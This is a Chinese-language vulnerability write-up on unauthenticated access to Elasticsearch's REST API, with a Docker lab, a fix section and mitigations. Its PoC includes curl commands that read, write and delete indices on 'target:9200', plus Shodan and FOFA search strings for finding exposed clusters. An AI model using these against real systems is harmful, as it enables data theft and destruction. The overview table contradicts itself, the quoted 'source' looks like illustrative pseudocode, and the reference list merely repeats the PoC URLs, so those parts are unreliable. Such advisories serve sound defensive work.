一、漏洞简介

1.1 漏洞背景

Elasticsearch 是一个开源的分布式搜索引擎,广泛应用于日志分析、全文搜索、数据可视化等场景。早期版本(Elasticsearch 6.x 之前)默认不启用安全认证,任何人都可以通过 HTTP API 访问、查询甚至修改数据。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 暂无统一编号
危害等级 暂未找到权威信息
漏洞类型 未授权访问漏洞
披露时间 暂未找到权威信息
影响组件 Elasticsearch 安全
  • 漏洞类型: 认证绕过 / 未授权访问
  • CVE ID: 无(默认配置问题)
  • 危害等级: 高危
  • CVSS 评分: 7.5+(取决于暴露程度)
  • 发现时间: 长期存在,直到 Elasticsearch 7.0 开始重视

核验说明:该问题未见统一 CVE 编号,本文结合原文与公开资料进行整理。

二、影响范围

2.1 受影响的版本

  • Elasticsearch 1.x - 6.x 所有版本(默认未启用安全)
  • Elasticsearch 7.x 早期版本(未配置安全)

2.2 不受影响的版本

  • Elasticsearch 7.0+:自动生成密码(但需手动配置)
  • Elasticsearch 8.0+:默认启用安全认证

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. Elasticsearch 服务绑定在 0.0.0.0(所有网络接口)
  2. 防火墙未限制 9200/9300 端口访问
  3. 未配置 xpack.security.enabled
  4. 云环境暴露公网 IP

三、漏洞详情与原理解析

3.1 漏洞触发机制

Elasticsearch 通过 RESTful API 提供服务(默认 9200 端口)。早期版本没有内置认证机制,所有 HTTP 请求直接处理:

HTTP 请求 → Elasticsearch REST Controller → 数据操作
         ↑
    无认证检查

攻击者可以直接访问: - GET http://target:9200/ - 获取集群信息 - GET http://target:9200/_cat/indices - 列出所有索引 - POST http://target:9200/index/doc - 写入数据 - DELETE http://target:9200/index - 删除索引

3.2 源码层面的根因分析(结合源码与补丁对比)

// 早期版本的 RestController.java
public void dispatchRequest(RestRequest request, RestChannel channel) {
    // 直接处理请求,无认证检查
    RestHandler handler = getHandler(request);
    if (handler != null) {
        handler.handleRequest(request, channel);
    }
}

现代版本(Elasticsearch 8.x):

// 添加了安全过滤器
public void dispatchRequest(RestRequest request, RestChannel channel) {
    // 先检查认证
    if (securityEnabled && !isAuthenticated(request)) {
        sendAuthenticationChallenge(channel);
        return;
    }
    // 然后处理请求
    handler.handleRequest(request, channel);
}

四、漏洞复现(可选)

4.1 环境搭建

# 使用 Docker 启动无认证的 Elasticsearch
docker run -d --name es-vulnerable \
  -p 9200:9200 \
  -e "discovery.type=single-node" \
  -e "xpack.security.enabled=false" \
  elasticsearch:6.8.0

4.2 PoC 演示与测试过程

# 1. 获取集群信息(无需认证)
curl http://target:9200/

# 响应示例:
{
  "name" : "node-1",
  "cluster_name" : "elasticsearch",
  "version" : {
    "number" : "6.8.0"
  }
}

# 2. 列出所有索引
curl http://target:9200/_cat/indices?v

# 3. 创建索引并写入数据
curl -X PUT "http://target:9200/test_index/" -H 'Content-Type: application/json' -d'
{
  "settings": {
    "number_of_shards": 1
  }
}'

# 4. 写入敏感数据
curl -X POST "http://target:9200/test_index/doc/1" -H 'Content-Type: application/json' -d'
{
  "password": "secret123",
  "credit_card": "4111111111111111"
}'

# 5. 删除整个索引
curl -X DELETE "http://target:9200/test_index/"

使用 Shodan/FOFA 搜索暴露的实例:

Shodan: port:9200 "You Know, for Search"
FOFA: title="Elasticsearch" && port="9200"

五、修复建议与缓解措施

5.1 官方版本升级建议

  1. 升级到 Elasticsearch 8.x:默认启用安全认证
  2. 至少升级到 7.x:提供更好的安全支持

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案一:启用 X-Pack Security(Elasticsearch 6.x+)

# elasticsearch.yml
xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true
# 生成证书
./bin/elasticsearch-certutil ca
./bin/elasticsearch-certutil cert --ca elastic-stack-ca.p12

# 设置密码
./bin/elasticsearch-setup-passwords interactive

方案二:网络隔离

# iptables 规则
iptables -A INPUT -p tcp --dport 9200 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 9200 -j DROP

# 或绑定到本地
# elasticsearch.yml
network.host: 127.0.0.1

方案三:使用反向代理认证

# Nginx 反向代理 + Basic Auth
server {
    listen 9201;

    location / {
        auth_basic "Elasticsearch";
        auth_basic_user_file /etc/nginx/.htpasswd;
        proxy_pass http://127.0.0.1:9200;
    }
}

六、参考信息 / 参考链接

6.1 官方安全通告

  • https://www.elastic.co/guide/en/elasticsearch/reference/current/security-minimal-setup.html

6.2 其他技术参考资料

  • http://target:9200/`
  • http://target:9200/_cat/indices`
  • http://target:9200/index/doc`
  • http://target:9200/index`
  • http://target:9200/
  • http://target:9200/_cat/indices?v
  • http://target:9200/test_index/"
  • http://target:9200/test_index/doc/1"